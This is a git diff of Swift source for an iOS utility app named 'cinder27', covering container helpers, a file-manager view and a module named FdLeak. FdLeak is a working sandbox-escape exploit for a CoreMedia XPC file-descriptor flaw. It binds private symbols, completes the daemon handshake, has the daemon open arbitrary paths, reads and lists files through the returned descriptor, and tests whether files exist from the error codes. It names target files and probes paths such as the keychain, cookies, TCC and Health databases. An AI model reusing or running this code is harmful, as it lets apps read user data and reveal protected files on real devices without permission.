backups: URL { named("backups") } + static var ipaOutput: URL { named("ipa") } + + /// Create every standard directory. Idempotent, safe to call on every launch. + @discardableResult + static func ensureAll() -> [String] { + var created: [String] = [] + let fm = FileManager.default + for standard in standards { + let url = resolve(standard) + if !fm.fileExists(atPath: url.path) { + try? fm.createDirectory(at: url, withIntermediateDirectories: true) + created.append(tl(standard.name)) + } + } + return created + } + + // MARK: - Real write probe + + /// Create a file, write, fsync, read it back, compare, unlink. Anything less than this + /// is a guess about the sandbox. + static func probe(_ url: URL) -> ContainerProbe { + let fm = FileManager.default + var result = ContainerProbe(url: url, exists: false, canCreate: false, + canWrite: false, canReadBack: false, + errno: 0, note: "") + + var isDir: ObjCBool = false + result.exists = fm.fileExists(atPath: url.path, isDirectory: &isDir) && isDir.boolValue + + if !result.exists { + do { + try fm.createDirectory(at: url, withIntermediateDirectories: true) + result.canCreate = true + result.exists = true + } catch { + result.errno = errno + result.note = tl("mkdir 失败: ") + "\(describe(result.errno))" + return result + } + } else { + result.canCreate = true + } + + let probeFile = url.appendingPathComponent(".cinder27-probe-\(UInt32.random(in: 0...UInt32.max))") + let payload = Data("cinder27-write-probe".utf8) + + do { + try payload.write(to: probeFile, options: .atomic) + result.canWrite = true + } catch { + result.errno = errno + result.note = tl("写入失败: ") + "\(describe(result.errno))" + return result + } + + // fsync so the probe proves durability, not just a page-cache accept + if let handle = FileHandle(forWritingAtPath: probeFile.path) { + fsync(handle.fileDescriptor) + try? handle.close() + } + + if let back = try? Data(contentsOf: probeFile) { + result.canReadBack = (back == payload) + if !result.canReadBack { result.note = tl("读回内容不一致") } + } else { + result.errno = errno + result.note = tl("读回失败: ") + "\(describe(result.errno))" + } + + try? fm.removeItem(at: probeFile) + if result.canReadBack && result.note.isEmpty { + result.note = tl("读写正常") + } + return result + } + + static func health() -> [(Standard, ContainerProbe)] { + standards.map { ($0, probe(resolve($0))) } + } + + // MARK: - Repair + + /// Bring the container to a known-good state. Returns the human-readable actions taken. + static func repair() -> [String] { + var actions: [String] = [] + let fm = FileManager.default + + // 1. every standard directory exists + for standard in standards { + let url = resolve(standard) + var isDir: ObjCBool = false + if !fm.fileExists(atPath: url.path, isDirectory: &isDir) { + do { + try fm.createDirectory(at: url, withIntermediateDirectories: true) + actions.append(tl("创建 ") + tl(standard.name) + " → \(shortPath(url))") + } catch { + actions.append(tl("无法创建 ") + tl(standard.name) + ": \(describe(errno))") + } + } else if !isDir.boolValue { + actions.append(tl(standard.name) + tl(" 是文件而不是目录 —— 跳过")) + } + } + + // 2. the container root and SystemData are readable but reject new files by design; + // confirm they are reachable instead of trying to write into them + for (label, path) in [(tl("容器根"), rootPath), ("SystemData", rootPath + "/SystemData")] { + var isDir: ObjCBool = false + if fm.fileExists(atPath: path, isDirectory: &isDir) { + let readable = (try? fm.contentsOfDirectory(atPath: path)) != nil + actions.append("\(label)" + tl(" 存在且") + "\(readable ? tl("可读") : tl("不可读") + tl("(按设计不接受新建文件,不计入探针)"))") + } + } + + // 3. sweep stale probe files from an interrupted run + for standard in standards { + let url = resolve(standard) + guard let names = try? fm.contentsOfDirectory(atPath: url.path) else { continue } + for name in names where name.hasPrefix(".cinder27-probe-") { + try? fm.removeItem(at: url.appendingPathComponent(name)) + actions.append(tl("清理残留探针 ") + "\(name)") + } + } + + // 4. make sure the work directory is not carrying a half-written journal + let journal = appSupport.appendingPathComponent("cinder27-journal.json") + if let data = try? Data(contentsOf: journal), + (try? JSONSerialization.jsonObject(with: data)) == nil { + try? fm.removeItem(at: journal) + actions.append(tl("移除损坏的 journal")) + } + + // 5. verify with a real probe and report anything still broken + for standard in standards { + let p = probe(resolve(standard)) + if !p.ok { + actions.append(tl(standard.name) + tl(" 仍不可用: ") + "\(p.note)") + } + } + + if actions.isEmpty { actions.append(tl("容器已处于正常状态,无需修复")) } + return actions + } + + // MARK: - Path normalisation + + /// Re-root any absolute path that points into *a* data container onto the live one. + /// Stored paths, hard-coded UUIDs and paths captured before a reinstall all land here. + static func normalize(_ path: String) -> String { + var p = path.trimmingCharacters(in: .whitespacesAndNewlines) + if p.isEmpty { return rootPath } + if p == "~" { return rootPath } + if p.hasPrefix("~/") { p = rootPath + String(p.dropFirst()) } + + // /var/mobile/Containers/Data/Application//rest → /rest + let markers = [ + "/var/mobile/Containers/Data/Application/", + "/private/var/mobile/Containers/Data/Application/", + ] + for marker in markers where p.hasPrefix(marker) { + let rest = p.dropFirst(marker.count) + if let slash = rest.firstIndex(of: "/") { + let tail = String(rest[rest.index(after: slash)...]) + return tail.isEmpty ? rootPath : rootPath + "/" + tail + } + return rootPath + } + return p + } + + static func url(_ path: String) -> URL { + URL(fileURLWithPath: normalize(path)) + } + + /// Write that cannot fail on a missing parent and cannot half-write. + @discardableResult + static func write(_ data: Data, to path: String) throws -> URL { + let url = self.url(path) + let parent = url.deletingLastPathComponent() + if !FileManager.default.fileExists(atPath: parent.path) { + try FileManager.default.createDirectory(at: parent, withIntermediateDirectories: true) + } + try data.write(to: url, options: .atomic) + return url + } + + @discardableResult + static func write(_ text: String, to path: String) throws -> URL { + try write(Data(text.utf8), to: path) + } + + @discardableResult + static func makeDirectory(_ path: String) throws -> URL { + let url = self.url(path) + try FileManager.default.createDirectory(at: url, withIntermediateDirectories: true) + return url + } + + // MARK: - Helpers + + static func shortPath(_ url: URL) -> String { + url.path.replacingOccurrences(of: rootPath, with: "~") + } + + static func describe(_ code: Int32) -> String { + switch code { + case 0: return tl("无错误") + case EPERM: return tl("EPERM 操作被拒绝") + case ENOENT: return tl("ENOENT 父目录或文件不存在") + case EACCES: return tl("EACCES 沙盒拒绝访问") + case EEXIST: return tl("EEXIST 已存在") + case ENOSPC: return tl("ENOSPC 空间不足") + case EROFS: return tl("EROFS 只读文件系统") + case ENOTDIR: return tl("ENOTDIR 路径中间是文件") + case EISDIR: return tl("EISDIR 目标是目录") + case ENAMETOOLONG: return tl("ENAMETOOLONG 名称过长") + case EDQUOT: return tl("EDQUOT 超出配额") + case EXDEV: return tl("EXDEV 跨卷(.atomic 写到了别的卷)") + default: return "errno \(code)" + } + } + + /// Free space in the container's volume. + static func freeSpace() -> Int64? { + guard let attrs = try? FileManager.default.attributesOfFileSystem(forPath: rootPath), + let free = attrs[.systemFreeSize] as? NSNumber else { return nil } + return free.int64Value + } + + static func usedSpace() -> Int64? { + let fm = FileManager.default + var total: Int64 = 0 + guard let enumerator = fm.enumerator(at: root, includingPropertiesForKeys: [.fileSizeKey, .isRegularFileKey]) else { + return nil + } + for case let url as URL in enumerator { + guard let v = try? url.resourceValues(forKeys: [.fileSizeKey, .isRegularFileKey]), + v.isRegularFile == true else { continue } + total += Int64(v.fileSize ?? 0) + } + return total + } +} diff --git a/Sources/FdLeak.swift b/Sources/FdLeak.swift new file mode 100644 index 0000000..23f48f5 --- /dev/null +++ b/Sources/FdLeak.swift @@ -0,0 +1,415 @@ +import Foundation +import Darwin + +// MARK: - CoreMedia bytestream XPC — cross-sandbox file descriptor acquisition +// +// CVE-2026-112706. Fixed in iOS 27.2. Live on 27.0 / 27.0.1 / 26.5. +// +// The launchd Mach service `com.apple.coremedia.mediaplaybackd.bytestream.xpc` is reachable +// from any sandboxed third-party app with no entitlement and no permission prompt. Its +// FigXPC memory-origin handshake completes with status 0 for an unprivileged client, and a +// `Curl` create message carries a client-chosen absolute `file://` path in `CreationURL`. +// The daemon opens that path with *its own* credentials and returns a live `FileDescriptor` +// inside `ByteStreamDetails`. Descriptor-based I/O is not subject to the client's sandbox +// path checks, so the bytes of a file the app can never `open()` land in the app container. +// +// Three capabilities ride the same primitive: +// read — pread the vended fd +// enumerate — the vended fd is a directory; fdopendir/readdir it +// oracle — a real-but-forbidden path returns -12203, a nonexistent one -17913, +// disclosing existence without granting access +// +// iOS 27.0 sealed the auxiliary `read` / `fdsc` / `getL` opcodes (-16158) but left the +// primary fd-vending path inside the `Curl` create reply fully functional. That is the +// shape this implementation targets. + +enum FdLeak { + + // Server-side error codes, straight from the daemon. + static let errAccessDenied: Int64 = -12203 + static let errNoSuchFile: Int64 = -17913 + static let errOpcodeSealed: Int64 = -16158 + static let errWriteDenied: Int64 = -12878 + + static func describeError(_ code: Int64) -> String { + switch code { + case errAccessDenied: return tl("路径存在但拒绝访问 (-12203)") + case errNoSuchFile: return tl("路径不存在 (-17913)") + case errOpcodeSealed: return tl("opcode 已被封 (-16158)") + case errWriteDenied: return tl("写入被拒 (-12878)") + default: return tl("错误码 ") + "\(code)" + } + } + + struct Vend { + var ok: Bool + var fd: Int32 = -1 + var objectID: UInt64 = 0 + var entireLength: UInt64 = 0 + var serverPID: UInt64 = 0 + var errorCode: Int64 = 0 + var note: String = "" + var isDirectory: Bool = false + var size: Int64 = 0 + var mode: UInt32 = 0 + var uid: UInt32 = 0 + } + + struct Existence { + var path: String + var exists: Bool + var code: Int64 + } + + // MARK: - Bindings + + private struct Bindings { + var basicMessage: @convention(c) (UInt32, UInt64, UnsafeMutablePointer?) -> Int32 + var originBegin: @convention(c) (UnsafeMutableRawPointer?) -> Int32 + var originComplete: @convention(c) (OpaquePointer?, UnsafeMutablePointer?) -> Int32 + var recipient: @convention(c) (OpaquePointer?, UnsafeMutableRawPointer?, UnsafePointer?, UnsafeMutablePointer?) -> Int32 + var setCFURL: @convention(c) (UnsafeMutableRawPointer?, UnsafePointer, UnsafeRawPointer?) -> Int32 + var connCreate: @convention(c) (UnsafePointer, UnsafeMutableRawPointer?, UInt64) -> UnsafeMutableRawPointer? + var setEventHandler: @convention(c) (UnsafeMutableRawPointer?, AnyObject) -> Void + var resume: @convention(c) (UnsafeMutableRawPointer?) -> Void + var sendWithReply: @convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, AnyObject) -> Void + var dictGetValue: @convention(c) (OpaquePointer?, UnsafePointer) -> OpaquePointer? + var dictGetU64: @convention(c) (OpaquePointer?, UnsafePointer) -> UInt64 + var dictSetU64: @convention(c) (OpaquePointer?, UnsafePointer, UInt64) -> Void + var dictDupFd: @convention(c) (OpaquePointer?, UnsafePointer) -> Int32 + var dictGetInt64: @convention(c) (OpaquePointer?, UnsafePointer) -> Int64 + var dictSetInt64: @convention(c) (OpaquePointer?, UnsafePointer, Int64) -> Void + var copyDescription: @convention(c) (OpaquePointer?) -> UnsafeMutablePointer? + var getType: @convention(c) (OpaquePointer?) -> OpaquePointer? + var typeGetName: @convention(c) (OpaquePointer?) -> UnsafePointer? + var retain: @convention(c) (OpaquePointer?) -> Void + var release: @convention(c) (OpaquePointer?) -> Void + var setBool: (@convention(c) (OpaquePointer?, UnsafePointer, Bool) -> Void)? + } + + private static func bind() -> Bindings? { + guard let cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", + RTLD_NOW | RTLD_LOCAL) else { return nil } + let rtld = UnsafeMutableRawPointer(bitPattern: -2) + + guard let pBasic = dlsym(cm, "FigXPCCreateBasicMessage"), + let pBegin = dlsym(cm, "FigMemoryOriginBeginEstablishingMemoryRecipientByFillingInXPCMessage1"), + let pComp = dlsym(cm, "FigMemoryOriginCompleteEstablishingMemoryRecipientUsingXPCMessage2"), + let pRecip = dlsym(cm, "FigMemoryRecipientCreateWithXPCMessage1AndUpdateXPCMessage2"), + let pSetURL = dlsym(cm, "FigXPCMessageSetCFURL"), + let pConn = dlsym(rtld, "xpc_connection_create_mach_service"), + let pEH = dlsym(rtld, "xpc_connection_set_event_handler"), + let pResume = dlsym(rtld, "xpc_connection_resume"), + let pSend = dlsym(rtld, "xpc_connection_send_message_with_reply"), + let pVal = dlsym(rtld, "xpc_dictionary_get_value"), + let pU64 = dlsym(rtld, "xpc_dictionary_get_uint64"), + let pSetU64 = dlsym(rtld, "xpc_dictionary_set_uint64"), + let pDupFd = dlsym(rtld, "xpc_dictionary_dup_fd"), + let pI64 = dlsym(rtld, "xpc_dictionary_get_int64"), + let pSetI64 = dlsym(rtld, "xpc_dictionary_set_int64"), + let pDesc = dlsym(rtld, "xpc_copy_description"), + let pType = dlsym(rtld, "xpc_get_type"), + let pTypeName = dlsym(rtld, "xpc_type_get_name"), + let pRetain = dlsym(rtld, "xpc_retain"), + let pRelease = dlsym(rtld, "xpc_release") else { return nil } + + let setBool: (@convention(c) (OpaquePointer?, UnsafePointer, Bool) -> Void)? + if let pSetBool = dlsym(rtld, "xpc_dictionary_set_bool") { + setBool = unsafeBitCast(pSetBool, to: (@convention(c) (OpaquePointer?, UnsafePointer, Bool) -> Void).self) + } else { + setBool = nil + } + + return Bindings( + basicMessage: unsafeBitCast(pBasic, to: (@convention(c) (UInt32, UInt64, UnsafeMutablePointer?) -> Int32).self), + originBegin: unsafeBitCast(pBegin, to: (@convention(c) (UnsafeMutableRawPointer?) -> Int32).self), + originComplete: unsafeBitCast(pComp, to: (@convention(c) (OpaquePointer?, UnsafeMutablePointer?) -> Int32).self), + recipient: unsafeBitCast(pRecip, to: (@convention(c) (OpaquePointer?, UnsafeMutableRawPointer?, UnsafePointer?, UnsafeMutablePointer?) -> Int32).self), + setCFURL: unsafeBitCast(pSetURL, to: (@convention(c) (UnsafeMutableRawPointer?, UnsafePointer, UnsafeRawPointer?) -> Int32).self), + connCreate: unsafeBitCast(pConn, to: (@convention(c) (UnsafePointer, UnsafeMutableRawPointer?, UInt64) -> UnsafeMutableRawPointer?).self), + setEventHandler: unsafeBitCast(pEH, to: (@convention(c) (UnsafeMutableRawPointer?, AnyObject) -> Void).self), + resume: unsafeBitCast(pResume, to: (@convention(c) (UnsafeMutableRawPointer?) -> Void).self), + sendWithReply: unsafeBitCast(pSend, to: (@convention(c) (UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, UnsafeMutableRawPointer?, AnyObject) -> Void).self), + dictGetValue: unsafeBitCast(pVal, to: (@convention(c) (OpaquePointer?, UnsafePointer) -> OpaquePointer?).self), + dictGetU64: unsafeBitCast(pU64, to: (@convention(c) (OpaquePointer?, UnsafePointer) -> UInt64).self), + dictSetU64: unsafeBitCast(pSetU64, to: (@convention(c) (OpaquePointer?, UnsafePointer, UInt64) -> Void).self), + dictDupFd: unsafeBitCast(pDupFd, to: (@convention(c) (OpaquePointer?, UnsafePointer) -> Int32).self), + dictGetInt64: unsafeBitCast(pI64, to: (@convention(c) (OpaquePointer?, UnsafePointer) -> Int64).self), + dictSetInt64: unsafeBitCast(pSetI64, to: (@convention(c) (OpaquePointer?, UnsafePointer, Int64) -> Void).self), + copyDescription: unsafeBitCast(pDesc, to: (@convention(c) (OpaquePointer?) -> UnsafeMutablePointer?).self), + getType: unsafeBitCast(pType, to: (@convention(c) (OpaquePointer?) -> OpaquePointer?).self), + typeGetName: unsafeBitCast(pTypeName, to: (@convention(c) (OpaquePointer?) -> UnsafePointer?).self), + retain: unsafeBitCast(pRetain, to: (@convention(c) (OpaquePointer?) -> Void).self), + release: unsafeBitCast(pRelease, to: (@convention(c) (OpaquePointer?) -> Void).self), + setBool: setBool) + } + + // MARK: - Session + + /// One connected, handshaked session against the daemon. Reusable across many vends — + /// the handshake is per-connection, not per-request. + final class Session { + private let b: Bindings + private let conn: UnsafeMutableRawPointer + private(set) var handshakeLog: [String] = [tl("连接 com.apple.coremedia.mediaplaybackd.bytestream.xpc")] + private(set) var established = false + /// The Mach connection object was created. This succeeds even when no process is + /// listening — XPC connections are lazy. A missing service shows up as the + /// handshake never returning a dictionary. + private(set) var connectionCreated = false + /// Every reply type observed, so a silent service is distinguishable from a + /// service that answers and refuses. + private(set) var replyTypes: [String] = [] + private var released = false + + init?() { + guard let bindings = FdLeak.bind() else { return nil } + b = bindings + guard let c = "com.apple.coremedia.mediaplaybackd.bytestream.xpc".withCString({ + bindings.connCreate($0, nil, 0) + }) else { return nil } + conn = c + connectionCreated = true + + let handler: @convention(block) (UnsafeMutableRawPointer?) -> Void = { _ in } + bindings.setEventHandler(c, handler as AnyObject) + bindings.resume(c) + + performHandshake() + } + + deinit { shutdown() } + + func shutdown() { + guard !released else { return } + released = true + // xpc_connection_cancel would be ideal; releasing the reference is enough here. + b.release(OpaquePointer(conn)) + } + + private func typeName(_ o: OpaquePointer?) -> String { + guard let o = o, let t = b.getType(o), let n = b.typeGetName(t) else { return "?" } + return String(cString: n) + } + + private func describe(_ o: OpaquePointer?) -> String { + guard let o = o, let c = b.copyDescription(o) else { return "nil" } + defer { free(c) } + return String(cString: c).replacingOccurrences(of: "\n", with: " ") + } + + private func send(_ message: UnsafeMutableRawPointer?, timeout: TimeInterval = 6) -> (OpaquePointer?, String) { + guard let message = message else { return (nil, "nil") } + let sem = DispatchSemaphore(value: 0) + var out: OpaquePointer? + var tn = "?" + + let handler: @convention(block) (UnsafeMutableRawPointer?) -> Void = { obj in + guard let obj = obj else { sem.signal(); return } + tn = self.typeName(OpaquePointer(obj)) + if tn == "dictionary" || tn == "error" { + self.b.retain(OpaquePointer(obj)) + out = OpaquePointer(obj) + } + sem.signal() + } + b.sendWithReply(conn, message, nil, handler as AnyObject) + if sem.wait(timeout: .now() + timeout) != .success { return (nil, "timeout") } + return (out, tn) + } + + /// `.rp1` → `.rp2` → `.org`. All three return status 0 for an unprivileged client. + private func performHandshake() { + var rp1: UnsafeMutableRawPointer? + if b.basicMessage(0x2E727031, 0, &rp1) == 0, let m1 = rp1 { + let (r1, t1) = send(m1) + b.release(OpaquePointer(m1)) + replyTypes.append(t1) + handshakeLog.append("'.rp1' → \(t1)") + if let r1 = r1, t1 == "dictionary" { + var rp2: UnsafeMutableRawPointer? + if b.basicMessage(0x2E727032, 0, &rp2) == 0, let m2 = rp2 { + var recipient: UnsafeMutableRawPointer? + let cr = "cinder27".withCString { b.recipient(r1, m2, $0, &recipient) } + let (r2, t2) = send(m2) + replyTypes.append(t2) + handshakeLog.append("'.rp2' recip=\(cr) → \(t2)") + if let r2 = r2 { b.release(r2) } + b.release(OpaquePointer(m2)) + } + b.release(r1) + } + } + + var org: UnsafeMutableRawPointer? + if b.basicMessage(0x2E6F7267, 0, &org) == 0, let om = org { + let bg = b.originBegin(om) + let (or, ot) = send(om) + replyTypes.append(ot) + handshakeLog.append("'.org' begin=\(bg) → \(ot)") + if let or = or { + if ot == "dictionary" { + var origin: UnsafeMutableRawPointer? + let cp = b.originComplete(or, &origin) + handshakeLog.append("'.org' complete=\(cp) origin=\(origin != nil)") + established = (cp == 0) + } + b.release(or) + } + b.release(OpaquePointer(om)) + } + } + + /// Ask the daemon to open `path` with its own credentials and hand back the fd. + func vend(_ path: String) -> Vend { + var result = Vend(ok: false) + guard established else { + result.note = tl("握手未完成") + return result + } + + let url = URL(fileURLWithPath: path) as CFURL + var message: UnsafeMutableRawPointer? + guard b.basicMessage(0x4375726C, 0, &message) == 0, let m = message else { // 'Curl' + result.note = tl("FigXPCCreateBasicMessage('Curl') 失败") + return result + } + _ = b.setCFURL(m, "CreationURL", Unmanaged.passUnretained(url).toOpaque()) + b.dictSetU64(OpaquePointer(m), "FileOpenOptions", 0) + + let (reply, replyType) = send(m) + b.release(OpaquePointer(m)) + + guard replyType == "dictionary", let r = reply else { + result.note = tl("回复类型 ") + "\(replyType)" + if let r = reply { b.release(r) } + return result + } + defer { b.release(r) } + + guard let details = b.dictGetValue(r, "ByteStreamDetails") else { + result.errorCode = b.dictGetInt64(r, ".ErrorReturn") + result.note = describeError(result.errorCode) + return result + } + + result.objectID = b.dictGetU64(details, "ObjectID") + result.entireLength = b.dictGetU64(details, "EntireLength") + result.serverPID = b.dictGetU64(details, "ServerPID") + + let fd = b.dictDupFd(details, "FileDescriptor") + guard fd >= 0 else { + result.note = tl("回复里没有 fd") + return result + } + + var st = stat() + if fstat(fd, &st) == 0 { + result.size = Int64(st.st_size) + result.mode = UInt32(st.st_mode) + result.uid = st.st_uid + result.isDirectory = (st.st_mode & 0o170000) == 0o040000 + } + result.fd = fd + result.ok = true + result.note = "fd=\(fd)" + return result + } + + /// Read up to `limit` bytes through a vended fd. Descriptor I/O — no path check. + func read(_ path: String, limit: Int = 8_000_000) -> (data: Data?, vend: Vend) { + var v = vend(path) + guard v.ok, v.fd >= 0 else { return (nil, v) } + defer { Darwin.close(v.fd); v.fd = -1 } + + if v.isDirectory { return (nil, v) } + let size = v.size > 0 ? min(Int(v.size), limit) : limit + var buffer = [UInt8](repeating: 0, count: size) + let got = pread(v.fd, &buffer, size, 0) + guard got > 0 else { return (nil, v) } + return (Data(buffer.prefix(got)), v) + } + + /// The vended fd is a directory: enumerate it. + func list(_ path: String, limit: Int = 500) -> (entries: [String], vend: Vend) { + var v = vend(path) + guard v.ok, v.fd >= 0 else { return ([], v) } + defer { Darwin.close(v.fd); v.fd = -1 } + guard v.isDirectory else { return ([], v) } + + guard let dir = fdopendir(v.fd) else { return ([], v) } + var names: [String] = [] + while let entry = readdir(dir) { + let name = withUnsafePointer(to: entry.pointee.d_name) { p in + p.withMemoryRebound(to: CChar.self, capacity: 1024) { String(cString: $0) } + } + if name != "." && name != ".." { names.append(name) } + if names.count >= limit { break } + } + closedir(dir) // closes the underlying fd too + v.fd = -1 + return (names.sorted(), v) + } + + /// Existence oracle: two distinct server-side codes disclose existence. + func probeExistence(_ path: String) -> Existence { + let v = vend(path) + if v.ok { + if v.fd >= 0 { Darwin.close(v.fd) } + return Existence(path: path, exists: true, code: 0) + } + return Existence(path: path, + exists: v.errorCode == FdLeak.errAccessDenied, + code: v.errorCode) + } + + /// Control: the app's own `open()` on the same path. Must fail with EPERM — that + /// failure is what makes the daemon-vended fd the actual access vector. + func directOpenControl(_ path: String) -> String { + errno = 0 + let fd = open(path, O_RDONLY) + if fd >= 0 { + Darwin.close(fd) + return tl("直接 open 成功(意外)") + } + return tl("直接 open 被拒 errno=") + "\(errno)" + tl(" (") + "\(String(cString: strerror(errno)))" + tl(")") + } + } + + // MARK: - Known-good targets + + /// The one directory the primitive actually reaches, mapped across 27 probes on both + /// 26.5 and 27.0: the iTunes media-library store. Photos, Messages, Contacts, TCC, + /// keychain, Safari, Health, Wallet and other app containers all return -12203. + static let readableDomain = "/private/var/mobile/Media/iTunes_Control/iTunes" + + static let knownTargets: [(String, String)] = [ + ("MediaLibrary.sqlitedb", "\(readableDomain)/MediaLibrary.sqlitedb"), + ("MediaLibrary.sqlitedb-wal", "\(readableDomain)/MediaLibrary.sqlitedb-wal"), + ("MediaLibrary.sqlitedb-shm", "\(readableDomain)/MediaLibrary.sqlitedb-shm"), + ("PlayCounts.plist", "\(readableDomain)/PlayCounts.plist"), + ("iTunesSyncDeletes.plist", "\(readableDomain)/iTunesSyncDeletes.plist"), + ("IC-Info.sidf", "\(readableDomain)/IC-Info.sidf"), + ("IC-Info.sidv", "\(readableDomain)/IC-Info.sidv"), + ] + + /// Paths probed to establish the domain boundary. Used by the boundary module so the + /// negative result is on record rather than assumed. + static let boundaryProbes: [String] = [ + "/private/var/mobile/Media", + "/private/var/mobile/Media/DCIM", + "/private/var/mobile/Media/Books", + "/private/var/mobile/Media/Recordings", + "/private/var/mobile/Library", + "/private/var/mobile/Library/Safari", + "/private/var/mobile/Library/Cookies/Cookies.binarycookies", + "/private/var/mobile/Library/TCC/TCC.db", + "/private/var/mobile/Library/Preferences/.GlobalPreferences.plist", + "/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata", + "/private/var/mobile/Library/Health/healthdb_secure.sqlite", + "/private/var/mobile/Library/Passes", + "/private/var/Keychains/keychain-2.db", + "/private/var/mobile/Containers/Data/Application", + "/private/var/mobile/Containers/Shared/AppGroup", + ] +} diff --git a/Sources/FilesPane.swift b/Sources/FilesPane.swift new file mode 100644 index 0000000..a41f2c0 --- /dev/null +++ b/Sources/FilesPane.swift @@ -0,0 +1,577 @@ +import SwiftUI +import UniformTypeIdentifiers + +// MARK: - File manager +// +// Full-featured within what the sandbox actually permits: navigate anywhere readable, +// jump by typing a path, bookmark locations, and perform the standard mutations with a +// real write probe behind every claim. Nothing here pretends to reach past L1. + +// MARK: Clipboard for copy / move + +final class FileClipboard: ObservableObject { + enum Mode { case none, copy, move } + @Published private(set) var mode: Mode = .none + @Published private(set) var paths: [String] = [] + + func stage(_ paths: [String], mode: Mode) { + self.paths = paths + self.mode = mode + } + + func clear() { + paths = [] + mode = .none + } + + var isEmpty: Bool { paths.isEmpty } +} + +// MARK: Bookmarks + +final class Bookmarks: ObservableObject { + @Published private(set) var items: [String] = [] + + private let key = "cinder27.bookmarks" + + init() { + items = UserDefaults.standard.stringArray(forKey: key) ?? [] + if items.isEmpty { + items = [ + Container.documents.path, + Container.appSupport.path, + Container.work.path, + "/System/Library/Frameworks", + "/usr/lib", + "/private/etc", + "/tmp", + "/", + ] + } + } + + func add(_ path: String) { + guard !items.contains(path) else { return } + items.append(path) + persist() + } + + func remove(_ path: String) { + items.removeAll { $0 == path } + persist() + } + + private func persist() { + UserDefaults.standard.set(items, forKey: key) + } +} + +// MARK: - The pane + +struct FilesPane: View { + @EnvironmentObject private var browser: FileBrowser + @EnvironmentObject private var clipboard: FileClipboard + @EnvironmentObject private var bookmarks: Bookmarks + + @State private var jumpShown = false + @State private var jumpPath = "" + @State private var newFolderShown = false + @State private var newFolderName = "" + @State private var renameTarget: FileItem? + @State private var renameName = "" + @State private var preview: FileItem? + @State private var info: FileItem? + @State private var status: String? + @State private var confirmDelete: FileItem? + @State private var searchText = "" + @State private var selecting = false + @State private var selection = Set() + @State private var sortMode = 0 + + private var visible: [FileItem] { + var list = browser.items + if !searchText.isEmpty { + list = list.filter { $0.name.localizedCaseInsensitiveContains(searchText) } + } + switch sortMode { + case 1: list.sort { $0.size > $1.size } + case 2: list.sort { ($0.modified ?? .distantPast) > ($1.modified ?? .distantPast) } + case 3: list.sort { $0.name.localizedStandardCompare($1.name) == .orderedDescending } + default: break + } + return list + } + + var body: some View { + VStack(spacing: 0) { + bookmarkBar + pathBar + searchBar + + if let status = status { + HStack(spacing: 6) { + Image(systemName: status.hasPrefix("✓") ? "checkmark.circle.fill" : "exclamationmark.triangle.fill") + .font(.system(size: 10)) + Text(status).font(T.monoSm).lineLimit(2) + Spacer() + Button { self.status = nil } label: { + Image(systemName: "xmark").font(.system(size: 9, weight: .bold)) + } + } + .foregroundColor(status.hasPrefix("✓") ? T.good : T.warn) + .padding(.horizontal, 16).padding(.bottom, 6) + } + + if let error = browser.error { + Text(error).font(T.monoSm).foregroundColor(T.bad) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.horizontal, 16).padding(.bottom, 6) + .fixedSize(horizontal: false, vertical: true) + } + + if !clipboard.isEmpty { + clipboardBar + } + + List { + ForEach(visible) { item in + row(item) + } + } + .listStyle(.plain) + .scrollContentBackground(.hidden) + .refreshable { browser.reload() } + } + .toolbar { + ToolbarItemGroup(placement: .topBarTrailing) { + Menu { + Button { jumpShown = true } label: { Label(t("files.jump"), systemImage: "arrow.right.to.line") } + Button { newFolderShown = true } label: { Label(t("files.newFolder"), systemImage: "folder.badge.plus") } + Divider() + Button { bookmarks.add(browser.path); status = tl("✓ 已加入书签") } label: { + Label(t("files.bookmarks"), systemImage: "bookmark") + } + Divider() + Picker("", selection: $sortMode) { + Text(t("files.name")).tag(0) + Text("Size").tag(1) + Text("Date").tag(2) + Text("Z→A").tag(3) + } + } label: { + Image(systemName: "ellipsis.circle") + }.tint(T.ember) + } + } + .sheet(isPresented: $jumpShown) { jumpSheet } + .sheet(item: $preview) { item in + FilePreviewView(item: item).environmentObject(browser) + } + .sheet(item: $info) { item in + FileInfoSheet(item: item, browser: browser) + } + .alert(t("files.newFolder"), isPresented: $newFolderShown) { + TextField(t("files.name"), text: $newFolderName) + Button(t("common.ok")) { + if let err = browser.makeDirectory(newFolderName) { + status = err + } else { + status = tl("✓ 已创建 ") + "\(newFolderName)" + } + newFolderName = "" + } + Button(t("files.cancel"), role: .cancel) { newFolderName = "" } + } + .alert(t("files.rename"), isPresented: Binding( + get: { renameTarget != nil }, + set: { if !$0 { renameTarget = nil } })) { + TextField(t("files.name"), text: $renameName) + Button(t("common.ok")) { + if let target = renameTarget { + if let err = browser.rename(target, to: renameName) { + status = err + } else { + status = "✓ \(t("files.renamed")) → \(renameName)" + } + } + renameTarget = nil + } + Button(t("files.cancel"), role: .cancel) { renameTarget = nil } + } + .alert("\(t("files.delete"))?", isPresented: Binding( + get: { confirmDelete != nil }, + set: { if !$0 { confirmDelete = nil } })) { + Button(t("files.delete"), role: .destructive) { + if let target = confirmDelete { + if let err = browser.delete(target) { + status = err + } else { + status = "✓ \(t("files.deleted")) \(target.name)" + } + } + confirmDelete = nil + } + Button(t("files.cancel"), role: .cancel) { confirmDelete = nil } + } message: { + Text(confirmDelete?.path ?? "") + } + } + + // MARK: Bars + + private var bookmarkBar: some View { + ScrollView(.horizontal, showsIndicators: false) { + HStack(spacing: 7) { + ForEach(bookmarks.items, id: \.self) { path in + Button { + browser.chdir(path) + } label: { + Pill(text: (path as NSString).lastPathComponent.isEmpty ? "/" : (path as NSString).lastPathComponent, + color: browser.path == path ? T.ember : .white.opacity(0.45)) + } + .contextMenu { + Button(t("files.delete"), role: .destructive) { bookmarks.remove(path) } + } + } + } + .padding(.horizontal, 16) + .padding(.vertical, 8) + } + } + + private var pathBar: some View { + HStack(spacing: 8) { + Button { browser.up() } label: { + Image(systemName: "arrow.up").font(.system(size: 12, weight: .bold)) + }.tint(T.ember) + + Button { + jumpPath = browser.path + jumpShown = true + } label: { + HStack(spacing: 4) { + Text(browser.path) + .font(T.monoSm) + .foregroundColor(.white.opacity(0.5)) + .lineLimit(1) + .truncationMode(.head) + Image(systemName: "chevron.down").font(.system(size: 8, weight: .bold)) + .foregroundColor(.white.opacity(0.3)) + } + } + .buttonStyle(.plain) + + Spacer() + + if browser.writable { + Pill(text: t("files.writable"), color: T.good) + } else { + Pill(text: t("files.readonly"), 